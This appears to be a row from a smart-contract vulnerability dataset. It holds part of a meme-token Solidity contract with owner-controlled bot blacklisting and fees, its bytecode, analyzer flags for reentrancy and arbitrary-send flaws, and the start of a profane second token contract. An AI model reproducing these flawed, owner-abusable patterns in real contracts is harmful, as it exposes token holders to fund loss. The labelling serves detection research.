bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280601081526020017f446f6765204d65737369616820496e7500000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f644d496e75000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b600f42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ca9fa62658759d5df61f4eee3f6edec07cc83cc638b029c6ee5c4be768b7041764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,350 |
0xe3cf3440e567f4045074595752ba9b2d8ec85614
|
/**
* https://t.me/FucKOOeth
*/
// SPDX-License-Identifier: Unlicensed
// FUCK $KOO
// FUCK $CLUCK
// FUCK THE DEVS
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
